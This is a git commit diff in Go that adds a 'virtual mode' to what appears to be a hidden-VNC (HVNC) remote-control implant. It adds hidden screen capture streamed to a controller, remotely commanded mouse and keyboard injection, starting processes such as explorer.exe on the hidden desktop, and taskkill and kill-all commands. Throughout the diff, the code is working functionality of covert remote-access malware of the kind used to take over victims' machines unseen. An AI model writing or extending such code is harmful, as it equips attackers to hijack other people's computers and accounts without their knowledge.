virtual mode
This commit is contained in:
@@ -1608,6 +1608,175 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
|
|||||||
return captureAndSendHVNC(ctx, env)
|
return captureAndSendHVNC(ctx, env)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func NowVirtual(ctx context.Context, env *rt.Env) error {
|
||||||
|
if env.Cfg.DisableCapture {
|
||||||
|
return sendBlackFrameVirtual(ctx, env)
|
||||||
|
}
|
||||||
|
if VirtualMonitorCount() <= 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return captureAndSendVirtual(ctx, env)
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("hidden capture: panic in captureAndSendVirtual: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
t0 := time.Now()
|
||||||
|
if frame, captureDur, encodeDur, used, err := VirtualTryDirectH264Frame(); used {
|
||||||
|
if err == nil {
|
||||||
|
if len(frame.Data) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return virtualSendCompletedFrame(ctx, env, frame, t0, captureDur, encodeDur)
|
||||||
|
}
|
||||||
|
log.Printf("hidden capture: direct GPU path unavailable: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Virtual mode is normal remote desktop restricted to one monitor. Start
|
||||||
|
// with that exact capture stack; specialized paths are fallbacks only.
|
||||||
|
img, err := VirtualCaptureNormal()
|
||||||
|
if err != nil {
|
||||||
|
img, err = VirtualCaptureDisplay()
|
||||||
|
if err != nil {
|
||||||
|
VirtualResetDXGI()
|
||||||
|
img, err = VirtualCaptureGDI()
|
||||||
|
if err != nil {
|
||||||
|
img, err = VirtualCaptureDisplayFallback()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("hidden capture: all capture methods failed: %v (sending black frame)", err)
|
||||||
|
return sendBlackFrameVirtual(ctx, env)
|
||||||
|
}
|
||||||
|
if img == nil {
|
||||||
|
log.Printf("hidden capture: capture returned nil image (sending black frame)")
|
||||||
|
return sendBlackFrameVirtual(ctx, env)
|
||||||
|
}
|
||||||
|
captureDur := time.Since(t0)
|
||||||
|
|
||||||
|
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||||
|
var slotAcquired bool
|
||||||
|
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||||
|
PutRGBA(img)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
slotAcquired = !willSendViaWebRTC
|
||||||
|
|
||||||
|
quality := jpegQuality()
|
||||||
|
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
|
||||||
|
PutRGBA(img)
|
||||||
|
img = nil
|
||||||
|
if err != nil {
|
||||||
|
if slotAcquired {
|
||||||
|
ReleaseFrameSlot()
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
fps := frameFPS(now)
|
||||||
|
if fps <= 0 {
|
||||||
|
fps = 1
|
||||||
|
}
|
||||||
|
frame.Header.FPS = fps
|
||||||
|
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
if slotAcquired {
|
||||||
|
ReleaseFrameSlot()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||||
|
dur := time.Second / time.Duration(fps)
|
||||||
|
if dur <= 0 {
|
||||||
|
dur = 33 * time.Millisecond
|
||||||
|
}
|
||||||
|
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||||
|
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||||
|
}
|
||||||
|
if slotAcquired {
|
||||||
|
ReleaseFrameSlot()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !slotAcquired {
|
||||||
|
if !AcquireFrameSlot() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
slotAcquired = true
|
||||||
|
}
|
||||||
|
|
||||||
|
sendStart := time.Now()
|
||||||
|
err = wire.WriteMsg(ctx, env.Conn, frame)
|
||||||
|
sendDur := time.Since(sendStart)
|
||||||
|
if err != nil {
|
||||||
|
ReleaseFrameSlot()
|
||||||
|
}
|
||||||
|
|
||||||
|
if shouldLogFrame(now) {
|
||||||
|
total := time.Since(t0)
|
||||||
|
log.Printf("hidden capture: stream format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||||
|
frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||||
|
}
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error {
|
||||||
|
now := time.Now()
|
||||||
|
fps := frameFPS(now)
|
||||||
|
if fps <= 0 {
|
||||||
|
fps = 1
|
||||||
|
}
|
||||||
|
frame.Header.FPS = fps
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||||
|
dur := time.Second / time.Duration(fps)
|
||||||
|
if dur <= 0 {
|
||||||
|
dur = 33 * time.Millisecond
|
||||||
|
}
|
||||||
|
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||||
|
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !AcquireFrameSlot() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
sendStart := time.Now()
|
||||||
|
err := wire.WriteMsg(ctx, env.Conn, frame)
|
||||||
|
sendDur := time.Since(sendStart)
|
||||||
|
ReleaseFrameSlot()
|
||||||
|
if shouldLogFrame(now) {
|
||||||
|
total := time.Since(t0)
|
||||||
|
log.Printf("hidden capture: direct h264 format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||||
|
frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||||
|
quality := 60
|
||||||
|
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
frame.Header.FPS = 1
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, frame)
|
||||||
|
}
|
||||||
|
|
||||||
func supportsBackstageCapture() bool {
|
func supportsBackstageCapture() bool {
|
||||||
count := HVNCMonitorCount()
|
count := HVNCMonitorCount()
|
||||||
return count > 0
|
return count > 0
|
||||||
|
|||||||
@@ -0,0 +1,61 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import "image"
|
||||||
|
|
||||||
|
func InitializevirtualMode() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func CleanupvirtualMode() {}
|
||||||
|
|
||||||
|
func SetvirtualCursorCapture(enabled bool) {}
|
||||||
|
|
||||||
|
func VirtualMonitorCount() int {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualCaptureDisplay() (*image.RGBA, error) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartvirtualProcess(filePath string) (uint32, error) {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualKillAll() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputMouseMove(x, y int32) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputMouseDown(button int) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputMouseUp(button int) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputKeyDown(vk uint16) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputKeyUp(vk uint16) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func virtualInputMouseWheel(delta int32) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -152,6 +152,25 @@ func (a *idxgiAdapter1) EnumOutputs(index uint32, output **idxgiOutput) uintptr
|
|||||||
return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output)))
|
return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output)))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *idxgiAdapter1) GetDesc1(desc *dxgiAdapterDesc1) uintptr {
|
||||||
|
return callSyscallN(a.lpVtbl.GetDesc1, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(desc)))
|
||||||
|
}
|
||||||
|
|
||||||
|
type dxgiAdapterDesc1 struct {
|
||||||
|
Description [128]uint16
|
||||||
|
VendorId uint32
|
||||||
|
DeviceId uint32
|
||||||
|
SubSysId uint32
|
||||||
|
Revision uint32
|
||||||
|
DedicatedVideoMemory uint64
|
||||||
|
DedicatedSystemMemory uint64
|
||||||
|
SharedSystemMemory uint64
|
||||||
|
AdapterLuid [8]byte
|
||||||
|
Flags uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
const dxgiAdapterFlagSoftware = 0x2
|
||||||
|
|
||||||
type dxgiOutputDesc struct {
|
type dxgiOutputDesc struct {
|
||||||
DeviceName [32]uint16
|
DeviceName [32]uint16
|
||||||
DesktopCoordinates rect
|
DesktopCoordinates rect
|
||||||
|
|||||||
@@ -1009,10 +1009,43 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
case "hvnc_start":
|
case "hvnc_start":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
autoStartExplorer := false
|
autoStartExplorer := false
|
||||||
|
VirtualMode := false
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||||
autoStartExplorer = v
|
autoStartExplorer = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["virtual_mode"].(bool); ok {
|
||||||
|
VirtualMode = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if VirtualMode {
|
||||||
|
env.VirtualMu.Lock()
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualCancel()
|
||||||
|
waitStreamStop(env.VirtualDone, "hidden")
|
||||||
|
}
|
||||||
|
hiddenCtx, cancel := context.WithCancel(ctx)
|
||||||
|
env.VirtualCancel = cancel
|
||||||
|
done := make(chan struct{})
|
||||||
|
env.VirtualDone = done
|
||||||
|
goSafe("hidden stream", env.Cancel, func() {
|
||||||
|
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||||
|
if err := capture.InitializeVirtualMode(); err != nil {
|
||||||
|
log.Printf("hidden: initialization failed: %v", err)
|
||||||
|
close(done)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if autoStartExplorer {
|
||||||
|
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
|
||||||
|
log.Printf("hidden: auto-start explorer error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = VirtualStart(hiddenCtx, env)
|
||||||
|
close(done)
|
||||||
|
})
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
env.HVNCMu.Lock()
|
env.HVNCMu.Lock()
|
||||||
if env.HVNCCancel != nil {
|
if env.HVNCCancel != nil {
|
||||||
@@ -1032,6 +1065,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_stop":
|
case "hvnc_stop":
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualMu.Lock()
|
||||||
|
log.Printf("hidden: stop requested")
|
||||||
|
env.VirtualMouseControl = false
|
||||||
|
env.VirtualKeyboardControl = false
|
||||||
|
env.VirtualCursorCapture = false
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualCancel()
|
||||||
|
}
|
||||||
|
waitStreamStop(env.VirtualDone, "hidden")
|
||||||
|
env.VirtualCancel = nil
|
||||||
|
env.VirtualDone = nil
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
env.HVNCMu.Lock()
|
env.HVNCMu.Lock()
|
||||||
log.Printf("hvnc: stop requested")
|
log.Printf("hvnc: stop requested")
|
||||||
env.HVNCMouseControl = false
|
env.HVNCMouseControl = false
|
||||||
@@ -1080,6 +1129,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
enabled = v
|
enabled = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: mouse control %v", enabled)
|
||||||
|
_ = VirtualMouseControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
log.Printf("hvnc: mouse control %v", enabled)
|
log.Printf("hvnc: mouse control %v", enabled)
|
||||||
_ = HVNCMouseControl(ctx, env, enabled)
|
_ = HVNCMouseControl(ctx, env, enabled)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
@@ -1092,6 +1147,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
enabled = v
|
enabled = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: keyboard control %v", enabled)
|
||||||
|
_ = VirtualKeyboardControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
log.Printf("hvnc: keyboard control %v", enabled)
|
log.Printf("hvnc: keyboard control %v", enabled)
|
||||||
_ = HVNCKeyboardControl(ctx, env, enabled)
|
_ = HVNCKeyboardControl(ctx, env, enabled)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
@@ -1104,6 +1165,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
enabled = v
|
enabled = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: cursor capture %v", enabled)
|
||||||
|
_ = VirtualCursorControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
log.Printf("hvnc: cursor capture %v", enabled)
|
log.Printf("hvnc: cursor capture %v", enabled)
|
||||||
_ = HVNCCursorControl(ctx, env, enabled)
|
_ = HVNCCursorControl(ctx, env, enabled)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
@@ -1152,7 +1219,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
fps = v
|
fps = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fps = SetHVNCTargetFPS(fps)
|
if env.VirtualCancel != nil {
|
||||||
|
fps = SetVirtualTargetFPS(fps)
|
||||||
|
} else {
|
||||||
|
// Also seed virtual mode so a setting sent immediately before
|
||||||
|
// hvnc_start is retained when that start selects virtual mode.
|
||||||
|
fps = SetHVNCTargetFPS(fps)
|
||||||
|
SetVirtualTargetFPS(fps)
|
||||||
|
}
|
||||||
log.Printf("hvnc: set target fps=%d", fps)
|
log.Printf("hvnc: set target fps=%d", fps)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
@@ -1178,10 +1252,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_mouse_move":
|
case "hvnc_mouse_move":
|
||||||
if !env.HVNCMouseControl {
|
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
x, y := int32(0), int32(0)
|
x, y := int32(0), int32(0)
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
@@ -1238,10 +1308,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
y = int32(v)
|
y = int32(v)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
capture.VirtualInputMouseMove(x, y)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !env.HVNCMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_mouse_down":
|
case "hvnc_mouse_down":
|
||||||
if !env.HVNCMouseControl {
|
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1328,10 +1410,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
y = int32(v)
|
y = int32(v)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_ = capture.VirtualInputMouseMove(x, y)
|
||||||
|
_ = capture.VirtualInputMouseDown(btn)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_mouse_up":
|
case "hvnc_mouse_up":
|
||||||
if !env.HVNCMouseControl {
|
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1418,10 +1509,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
y = int32(v)
|
y = int32(v)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_ = capture.VirtualInputMouseMove(x, y)
|
||||||
|
_ = capture.VirtualInputMouseUp(btn)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_mouse_wheel":
|
case "hvnc_mouse_wheel":
|
||||||
if !env.HVNCMouseControl {
|
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1508,10 +1608,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
y = int32(v)
|
y = int32(v)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_ = capture.VirtualInputMouseMove(x, y)
|
||||||
|
_ = capture.VirtualInputMouseWheel(delta)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_key_down":
|
case "hvnc_key_down":
|
||||||
if !env.HVNCKeyboardControl {
|
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1523,11 +1632,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualKeyboardControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
capture.VirtualInputKeyDown(vk)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_key_up":
|
case "hvnc_key_up":
|
||||||
if !env.HVNCKeyboardControl {
|
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1539,6 +1656,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
if !env.VirtualKeyboardControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
capture.VirtualInputKeyUp(vk)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
@@ -1562,6 +1687,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
display = int(v)
|
display = int(v)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: start process %q", filePath)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("virtual_start_process", nil, func() {
|
||||||
|
if killExe != "" {
|
||||||
|
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||||
|
log.Printf("hidden: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||||
|
}
|
||||||
|
if _, err := capture.StartVirtualProcess(filePath); err != nil {
|
||||||
|
log.Printf("hidden: start process failed for %q: %v", filePath, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process", nil, func() {
|
goSafe("hvnc_start_process", nil, func() {
|
||||||
@@ -1593,6 +1732,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
return nil
|
return nil
|
||||||
|
|
||||||
case "hvnc_kill_all":
|
case "hvnc_kill_all":
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: kill all processes on virtual monitor")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("virtual_kill_all", nil, func() {
|
||||||
|
if err := capture.VirtualKillAll(); err != nil {
|
||||||
|
log.Printf("hidden: kill all failed: %v", err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
log.Printf("hvnc: kill all processes on hidden desktop")
|
log.Printf("hvnc: kill all processes on hidden desktop")
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_kill_all", nil, func() {
|
goSafe("hvnc_kill_all", nil, func() {
|
||||||
@@ -1856,6 +2005,281 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
// ==================== HIDDEN MODE COMMANDS ====================
|
||||||
|
case "virtual_start":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
autoStartExplorer := false
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||||
|
autoStartExplorer = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
env.VirtualMu.Lock()
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualCancel()
|
||||||
|
waitStreamStop(env.VirtualDone, "hidden")
|
||||||
|
}
|
||||||
|
hiddenCtx, cancel := context.WithCancel(ctx)
|
||||||
|
env.VirtualCancel = cancel
|
||||||
|
done := make(chan struct{})
|
||||||
|
env.VirtualDone = done
|
||||||
|
goSafe("hidden stream", env.Cancel, func() {
|
||||||
|
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||||
|
if err := capture.InitializeVirtualMode(); err != nil {
|
||||||
|
log.Printf("hidden: initialization failed: %v", err)
|
||||||
|
close(done)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if autoStartExplorer {
|
||||||
|
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
|
||||||
|
log.Printf("hidden: auto-start explorer error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = VirtualStart(hiddenCtx, env)
|
||||||
|
close(done)
|
||||||
|
})
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_stop":
|
||||||
|
env.VirtualMu.Lock()
|
||||||
|
log.Printf("hidden: stop requested")
|
||||||
|
env.VirtualMouseControl = false
|
||||||
|
env.VirtualKeyboardControl = false
|
||||||
|
env.VirtualCursorCapture = false
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualCancel()
|
||||||
|
}
|
||||||
|
waitStreamStop(env.VirtualDone, "hidden")
|
||||||
|
env.VirtualCancel = nil
|
||||||
|
env.VirtualDone = nil
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_enable_mouse":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
enabled := true
|
||||||
|
